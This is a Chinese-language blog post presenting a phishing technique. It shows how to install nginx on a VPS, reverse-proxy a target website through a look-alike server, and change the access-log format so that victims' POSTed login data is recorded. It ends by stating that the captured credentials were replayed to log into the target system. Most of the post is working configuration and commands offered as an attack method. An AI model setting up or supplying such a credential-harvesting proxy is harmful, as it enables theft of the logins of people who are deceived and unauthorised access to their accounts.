钓鱼技巧-Nginx反向代理伪造页面

hyyrent

发布于 2022-12-26 20:23:19

1.1K0

nginx反向代理

nginx基本用法

nginx 启动
nginx -s reload 重新载入配置文件
nginx -s reopen 重启nginx
nginx -s stop 停止nginx

nginx安装

mkdir nginx
cd nginx
wget http://downloads.sourceforge.net/project/pcre/pcre/8.37/pcre-8.37.tar.gz
tar -xzpvf pcre-8.37.tar.gz
cd pcre-8.37
./configure
make && make install
pcre-config --version
yum -y install make zlib zlib-devel gcc-c++ libtool openssl openssl-devel
cd ..
wget http://nginx.org/download/nginx-1.20.1.tar.gz
tar -zxvf nginx-1.20.1.tar.gz
./configure
make && make install

启动nginx
cd /usr/local/nginx/sbin
./nginx

添加环境变量

cd ~
vim /etc/bashrc

添加
export PATH=$PATH:/usr/local/nginx/sbin

source /etc/bashrc

启动nginx，访问vps地址如下图为成功

nginx配置

vim /usr/local/nginx/conf/nginx.conf

location / {  
		proxy_next_upstream http_502 http_504 error timeout invalid_header; 
		proxy_pass http://xx.xx.xx.xx; 
		proxy_set_header Host xx.xx.xx.xx; 
		proxy_set_header X-Forwarded-For $remote_addr;
	}

重新加载配置出现以下报错：

[root@VM-20-16-centos ~]# nginx -s reload
nginx: [emerg] https protocol requires SSL support in /usr/local/nginx/conf/nginx.conf:49

这个是因为nginx没有安装ssl模块，接下来配置让其支持ssl

./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module

停止
nginx -s stop

make

把刚才编译的nginx 拷贝覆盖原来的nginx
cp ./objs/nginx /usr/local/nginx/sbin/

成功反代目标网站

获取账密信息

找到access.log的位置，获取访问和输入信息

find / -name "access.log"
vim /usr/local/nginx/logs/access.log

从图中我们发现日志没有显示post的参数内容，这时候需要对配置文件进行修改

nginx.conf http { } 里面找位置加上 $request_body
server 添加访问日志输出 /usr/local/nginx/logs/host.access.log

http {
    include       mime.types;
    default_type  application/octet-stream;

    log_format  test  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent $request_body "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log  logs/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    #gzip  on;

    server {
        listen       80;
        server_name  test;

        #charset koi8-r;

        access_log  /usr/local/nginx/logs/host.access.log  test;

nginx重启后，日志记录输出到 host.access.log ，成功获得密文信息，替换密文成功登录系统